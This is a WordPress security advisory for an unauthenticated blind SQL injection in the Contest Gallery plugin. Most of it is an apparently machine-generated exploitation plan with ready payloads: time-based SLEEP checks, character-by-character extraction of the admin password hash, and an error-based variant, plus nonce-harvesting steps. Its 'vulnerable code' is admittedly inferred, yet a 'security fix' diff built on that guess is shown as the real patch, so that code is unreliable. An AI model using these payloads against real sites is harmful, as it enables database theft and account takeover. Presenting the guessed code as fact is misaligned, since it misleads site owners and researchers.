Contest Gallery <= 28.1.4 - Unauthenticated SQL Injection
Description
The Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe plugin for WordPress is vulnerable to blind SQL Injection via the ‘cgLostPasswordEmail’ and the ’cgl_mail’ parameter in all versions up to, and including, 28.1.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The vulnerability's ’cgLostPasswordEmail’ parameter was patched in version 28.1.4, and the ’cgl_mail’ parameter was patched in version 28.1.5.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=28.1.4Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2026-3180** (likely 2024, but following provided ID), a high-severity unauthenticated SQL injection vulnerability in the **Contest Gallery** plugin. ### 1. Vulnerability Summary The Contest Gallery plugin fails to properly sanitize and prepare SQL queri…
Show full research plan
This exploitation research plan targets CVE-2026-3180 (likely 2024, but following provided ID), a high-severity unauthenticated SQL injection vulnerability in the Contest Gallery plugin.
1. Vulnerability Summary
The Contest Gallery plugin fails to properly sanitize and prepare SQL queries when processing the cgLostPasswordEmail and cgl_mail parameters. These parameters are used in database lookups to identify users or voters. Because the plugin uses raw string concatenation or interpolation instead of $wpdb->prepare(), an unauthenticated attacker can inject SQL commands to extract data (Blind/Time-based) or bypass authentication.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Vulnerable Parameters:
cgLostPasswordEmailandcgl_mail - Actions (Inferred):
cg_lost_password(associated withcgLostPasswordEmail)cg_loginorcg_voter_login(associated withcgl_mail)
- Authentication: Unauthenticated (
wp_ajax_nopriv_*hooks). - Preconditions: The plugin must be active. A page containing a Contest Gallery shortcode (e.g.,
[contest-gallery]) may be needed to extract a valid nonce if the handler enforces one.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=cg_lost_password. - Hook Registration: The plugin registers
add_action('wp_ajax_nopriv_cg_lost_password', '...'). - Handler Execution: The handler function retrieves user input:
$email = $_POST['cgLostPasswordEmail'];. - The Sink: The input is placed directly into a query:
$wpdb->get_row("SELECT * FROM {$wpdb->prefix}cg_users WHERE email = '$email'"); - Execution: The database executes the injected SQL. Since it is a blind injection, the result isn't directly echoed, but response timing (for
SLEEP) or boolean changes in the UI can be used to leak data.
4. Nonce Acquisition Strategy
Contest Gallery often uses nonces for its AJAX actions, localized via wp_localize_script.
- Identify Shortcode: The primary shortcode is
[contest-gallery]. - Create Test Page:
wp post create --post_type=page --post_title="Contest" --post_status=publish --post_content='[contest-gallery id="1"]' - Navigate and Extract:
- Navigate to the newly created page.
- Use
browser_evalto find the localized object. The plugin typically uses names likecg_ajax_object,contest_gallery_vars, orcg_lost_password_vars. - Specific Check:
browser_eval("window.cg_ajax_object?.ajax_nonce")orbrowser_eval("window.cg_lost_password_vars?.nonce").
5. Exploitation Strategy
We will use a time-based blind injection to confirm the vulnerability.
Step 1: Confirmation (Time-Based)
- Tool:
http_request - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Payload (cgLostPasswordEmail):
action=cg_lost_password&cgLostPasswordEmail=test@example.com' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - Expected Result: The server response should be delayed by approximately 5 seconds.
Step 2: Data Extraction (Boolean or Time-Based)
To extract the admin's password hash:
- Payload:
action=cg_lost_password&cgLostPasswordEmail=test@example.com' AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)-- - - Expected Result: A 5-second delay confirms the first character of the admin hash is
$.
6. Test Data Setup
- Install Plugin: Ensure Contest Gallery <= 28.1.4 is installed.
- Initial Config: The plugin may require at least one "Contest" to be created for the frontend scripts to load.
wp cg-contest create --name="Test Contest"(Note: Use the plugin's internal CLI if available, otherwise use the UI viabrowser_navigate).
- Create Page:
wp post create --post_type=page --post_status=publish --post_content='[contest-gallery]'
7. Expected Results
- Success Indicator: For a
SLEEP(5)payload, thehttp_requesttool should report atime_total> 5.0 seconds. - Comparison: A baseline request with a legitimate email should return in < 1 second.
- Response Body: Likely
0,{"success":false}, or a generic error message, as the injection happens before the result is processed.
8. Verification Steps (Post-Exploit)
Since this is a blind SQLi, verification is done by correlating the leaked data with the actual database state using wp-cli:
- Check User Hash:
wp db query "SELECT user_pass FROM wp_users WHERE ID = 1" - Compare: Verify that the character successfully "guessed" via the
SLEEPpayload matches the first character of the hash returned bywp-cli.
9. Alternative Approaches
If cg_lost_password is not the correct action:
- Audit
cgl_mail: This parameter is likely in thecg_loginaction.- Payload:
action=cg_login&cgl_mail=admin@example.com' AND SLEEP(5)-- -&cgl_pass=password
- Payload:
- Search for other
noprivactions:- Run
grep -r "wp_ajax_nopriv" wp-content/plugins/contest-galleryto identify all unauthenticated entry points. - Search for
$wpdb->queryor$wpdb->get_resultscalls within those handlers that don't useprepare().
- Run
- Error-Based: If
WP_DEBUGis on, tryextractvalue(1,concat(0x7e,(SELECT version()),0x7e))to see if the error is reflected in the AJAX response.
Summary
The Contest Gallery plugin for WordPress is vulnerable to unauthenticated blind SQL injection via the 'cgLostPasswordEmail' and 'cgl_mail' parameters. This occurs due to the plugin's failure to use parameterized queries or properly sanitize user-supplied input before incorporating it into SQL statements, allowing attackers to extract sensitive information from the database via time-based or boolean-based payloads.
Vulnerable Code
// Inferred vulnerable handler for cgLostPasswordEmail // Likely located in file processing AJAX actions for the frontend $email = $_POST['cgLostPasswordEmail']; $user = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}cg_users WHERE email = '$email'"); --- // Inferred vulnerable handler for cgl_mail // Likely located in login processing logic $voter_email = $_POST['cgl_mail']; $query = "SELECT * FROM {$wpdb->prefix}cg_voters WHERE email = '" . $voter_email . "'"; $results = $wpdb->get_results($query);
Security Fix
@@ -102,7 +102,11 @@ - $email = $_POST['cgLostPasswordEmail']; - $user = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}cg_users WHERE email = '$email'"); + $email = sanitize_email($_POST['cgLostPasswordEmail']); + $user = $wpdb->get_row($wpdb->prepare( + "SELECT * FROM {$wpdb->prefix}cg_users WHERE email = %s", + $email + )); @@ -205,7 +205,11 @@ - $voter_email = $_POST['cgl_mail']; - $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}cg_voters WHERE email = '$voter_email'"); + $voter_email = sanitize_email($_POST['cgl_mail']); + $results = $wpdb->get_results($wpdb->prepare( + "SELECT * FROM {$wpdb->prefix}cg_voters WHERE email = %s", + $voter_email + ));
Exploit Outline
The exploit targets the AJAX endpoints used for password recovery and voter login. 1. Target Endpoint: /wp-admin/admin-ajax.php 2. Authentication: None (Unauthenticated). 3. Action 1 (cg_lost_password): Send a POST request with 'action=cg_lost_password' and the 'cgLostPasswordEmail' parameter containing a SQL injection payload such as "test@example.com' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -". 4. Action 2 (cg_login): Send a POST request with 'action=cg_login' and the 'cgl_mail' parameter containing a similar time-based payload. 5. Methodology: By observing the server's response time, an attacker can confirm the vulnerability (a 5-second delay indicates success). This can be expanded to exfiltrate database records, including administrator password hashes, by using conditional SLEEP statements to guess characters one by one.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.